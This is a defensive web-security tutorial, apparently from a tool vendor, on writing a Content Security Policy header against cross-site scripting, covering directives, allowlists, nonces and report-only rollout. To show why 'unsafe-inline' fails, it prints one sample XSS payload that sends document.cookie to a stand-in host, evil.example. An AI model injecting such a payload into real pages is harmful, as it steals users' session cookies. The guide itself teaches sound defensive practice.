How to Build a Content Security Policy (CSP) Header That Actually Blocks XSS
A practical walkthrough of writing a Content Security Policy header: default-src and script-src directives, allowlisting domains, and why unsafe-inline undoes your work.
How to Build a Content Security Policy (CSP) Header That Actually Blocks XSS
A Content Security Policy is one HTTP response header, and it is the cheapest insurance you can buy against cross-site scripting. The header tells the browser exactly which origins are allowed to supply scripts, styles, images, fonts, and connections. When an attacker manages to inject a <script> tag through a comment field or a reflected query parameter, a tight policy means the browser simply refuses to run it. No alert box, no stolen session cookie, no crypto miner. The catch is that the syntax is fiddly, the directives interact in non-obvious ways, and one careless keyword can quietly hollow out the whole policy. This guide walks through building a CSP header from the ground up.
Start with default-src as your baseline
Every CSP should begin with a default-src. It is the fallback for every fetch directive you do not list explicitly: scripts, styles, images, fonts, frames, and connect requests all inherit from it unless a more specific directive overrides them. The single most important fact to internalize is this: default-src 'self' restricts every content source to the same origin as the page itself, meaning the exact same scheme, host, and port.
That one keyword does a lot of heavy lifting. With default-src 'self', the browser will load your own JavaScript bundle but ignore a script tag pointing at evil.example. It will render your own stylesheets but drop a remote font hosted somewhere you never approved.
The mistake I see most often is omitting default-src and writing only script-src 'self'. That looks locked down, but it is not. Without a default, every directive you did not name allows everything. Your images, fonts, and outbound fetch calls can hit any host on the internet. Set the baseline first, then loosen it directive by directive only where you have a real need.
Tighten script-src, the directive XSS cares about
script-src is where the security battle is actually fought, because executable code is what an attacker wants to land. A good starting point looks like this:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self'; img-src 'self' data:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
Read it left to right. Everything defaults to the same origin. Scripts may come from your origin or from jsDelivr, nothing else. Styles are same-origin only. Images are same-origin plus inline data: URIs, which is handy for tiny base64 icons. Network requests may reach your own origin or your named API. object-src 'none' kills Flash-era plugin vectors, base-uri 'self' stops an injected <base> tag from rewriting every relative URL, and frame-ancestors 'none' blocks clickjacking by refusing to let any site embed your page in an iframe.
Notice how narrow the allowlist is. Each entry is a specific host you deliberately chose. That precision is the entire point. The moment you replace a named CDN with a bare https: wildcard, you are telling the browser that any HTTPS host on earth may serve scripts to your users, which is barely better than no policy at all.
Allowlist real domains, not wildcards
Real applications pull in third parties: an analytics snippet, a chat widget, a payment SDK, a font service. The correct response to a console full of CSP violations is to add the specific domains those tools need, in the specific directives that govern them. The widget's JavaScript goes in script-src. Its API calls go in connect-src. If it embeds an iframe, its host goes in frame-src. Fonts from Google go in font-src https://fonts.gstatic.com with the stylesheet host in style-src.
The temptation under deadline pressure is to widen script-src to https: so the errors disappear. Resist it. A wildcard reopens the door CSP was built to close. Spend the extra five minutes reading the console, identify the exact origins, and list them by name. A policy with eight named hosts is still a strong policy. A policy with one wildcard is theater.
Why unsafe-inline quietly undoes everything
This is the keyword that trips up the most teams. 'unsafe-inline' permits inline <script> blocks and inline event handlers such as onclick. That sounds convenient, and it is precisely the channel XSS exploits ride in on. If an attacker injects <script>fetch('//evil.example?c='+document.cookie)</script> and your policy carries script-src 'self' 'unsafe-inline', the browser runs it without complaint. You have a CSP header on paper, and zero protection in practice.
The right way to keep inline code is a per-request nonce or a hash. A nonce is a random token your server generates for each response and stamps onto both the header and the legitimate script tag: script-src 'self' 'nonce-r4nd0m', paired with <script nonce="r4nd0m">. Only blocks carrying the matching nonce execute, and an attacker cannot guess a fresh random value. A hash works similarly for static inline blocks: you compute sha256-... of the script content and the browser runs only blocks that match. Either approach authorizes the exact code you wrote while still slamming the door on injected code. On style-src the risk from 'unsafe-inline' is lower but not zero, since CSS can be abused to exfiltrate data through crafted selectors.
Roll out in report-only mode first
Turning on an enforcing CSP against a live site is how you accidentally blank out half your pages. The safe path is Content-Security-Policy-Report-Only. With this header name, the browser loads everything as normal but sends a violation report to the endpoint you specify with report-to. You get a complete map of what the policy would block without breaking a single user session.
Watch the reports for a week. Fold every legitimate source you spot into the policy, host by host. When the reports go quiet, you know your allowlist is complete. Then flip the header name from Content-Security-Policy-Report-Only to Content-Security-Policy and you are enforcing a policy you have already proven safe. This staged rollout is the difference between a calm Tuesday and an emergency rollback.
Header or meta tag, and how to generate both
You can also ship CSP as an HTML <meta http-equiv="Content-Security-Policy"> tag, which matters when your site sits on static hosting where you cannot set response headers. The meta form covers the common fetch directives, but it has real limits: frame-ancestors, report-uri/report-to, and sandbox only work as a true response header, and the meta tag cannot protect resources requested before the browser parses it. Prefer the header whenever you control the server; reach for the meta tag only as a fallback.
Hand-assembling all of this from memory is exactly where typos sneak into production. I leaned on the CSP Generator to toggle directives, paste my own CDN and API domains, and watch the header, meta tag, and Nginx snippet build in real time with inline warnings the instant a choice weakened the policy. Once the policy was assembled, I ran it through the CSP Policy Auditor to catch the gaps a from-scratch build can miss, like a forgotten object-src or an over-broad wildcard, before it ever reached the server config. Build it, audit it, ship it in report-only, then enforce.
Made by Toolora · Updated 2026-06-13